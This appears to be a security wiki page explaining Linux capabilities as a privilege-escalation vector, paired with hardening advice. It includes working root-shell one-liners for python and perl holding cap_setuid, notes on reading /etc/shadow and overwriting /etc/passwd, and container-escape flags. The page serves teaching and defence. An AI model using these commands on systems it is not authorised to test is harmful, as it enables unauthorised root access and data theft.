Skip to content

Linux Capabilities

Capabilities split root’s powers into granular permissions that can be assigned to specific binaries, without giving them full SUID. The idea is good for security (a program that only needs to bind low ports doesn’t need to be full root), but a misassigned capability is as dangerous as a SUID: certain capabilities allow escalating to root directly. It’s a vector linpeas flags and many people overlook.

Instead of “root can do anything,” the kernel splits that power into ~40 capabilities (cap_net_bind_service, cap_setuid, cap_dac_read_search…). A binary can carry a specific capability in its extended attributes, running with that power without being root-SUID.

getcap -r / 2>/dev/null # list all binaries with capabilities
# example output:
# /usr/bin/python3.8 = cap_setuid+ep

Dangerous capabilities (direct escalation)

Section titled “Dangerous capabilities (direct escalation)”
cap_setuid # change UID -> setuid(0) -> root
cap_setgid # change GID
cap_dac_read_search # bypass READ permissions -> read /etc/shadow, keys
cap_dac_override # bypass read/write permissions -> write root files
cap_sys_admin # almost root (mount, etc.)
cap_sys_ptrace # debug processes -> inject into root processes
cap_chown / cap_fowner # change file ownership/permissions
# python with cap_setuid+ep -> direct root
./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# perl with cap_setuid
./perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/sh";'
# cap_dac_read_search -> read /etc/shadow (crack root) or SSH keys
# tar/cp with cap_dac_read_search can read protected files
# cap_dac_override -> overwrite /etc/passwd (add a root user)

GTFOBins includes a capabilities section for each binary: if getcap shows one with a dangerous cap, look up the recipe there.

SUID: the process runs as the binary's OWNER (e.g. full root)
Capability: the process runs with YOUR UID but with a specific POWER added

That’s why with cap_setuid you must call setuid(0) explicitly (as in the examples), unlike a SUID that already runs as root.

  • Audit capabilities (getcap -r /): remove those not strictly necessary (setcap -r).
  • Minimal capability: assign only the specific one the program needs, never cap_setuid/cap_sys_admin if avoidable.
  • Don’t give dangerous capabilities to interpreters (python, perl, ruby): they’re trivial escalation.
  • Inventory and alerts on binaries with new capabilities.
  • Combine with AppArmor/SELinux and mount with nosuid where applicable.

Capabilities are central to container security (see Container security): a container with excess capabilities is an escape route to the host.

# a container with --privileged or cap_sys_admin can escape to the host
docker run --cap-add=SYS_ADMIN ... # mount, manipulate the host -> escape
docker run --privileged ... # ALL caps -> escape almost guaranteed
# inside a container, enumerate the process caps:
capsh --print ; cat /proc/self/status | grep Cap
# defense (dso-containers): drop ALL and add only the essential
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...

That’s why container hardening insists on --cap-drop=ALL: the same power that escalates to root on a host escalates from the container to the node.

cap_setuid setuid(0) -> direct root (the cleanest case)
cap_setgid change GID
cap_dac_read_search read ANY file (/etc/shadow, SSH keys) bypassing permissions
cap_dac_override write ANY file (/etc/passwd, sudoers)
cap_sys_admin "almost root": mount, many privileged operations (container escape)
cap_sys_ptrace debug/inject into root processes
cap_sys_module load kernel modules -> root/rootkit
cap_chown change file ownership -> escalation
cap_fowner bypass owner checks in file operations

If getcap shows any of these on a binary (or an interpreter), it’s escalation: cross-reference GTFOBins (capabilities section) for the exact recipe.

  • getcap -r / 2>/dev/null → list binaries with capabilities
  • Identify dangerous capabilities (setuid, dac_read_search, dac_override, sys_admin, sys_ptrace)
  • Exploit interpreters with cap_setuid (python/perl → setuid(0))
  • cap_dac_read_search → read /etc/shadow / keys
  • cap_dac_override → write /etc/passwd
  • Cross-reference GTFOBins (capabilities section)
  • Confirm root (id)
  • Blue: capabilities minimized, no caps on interpreters?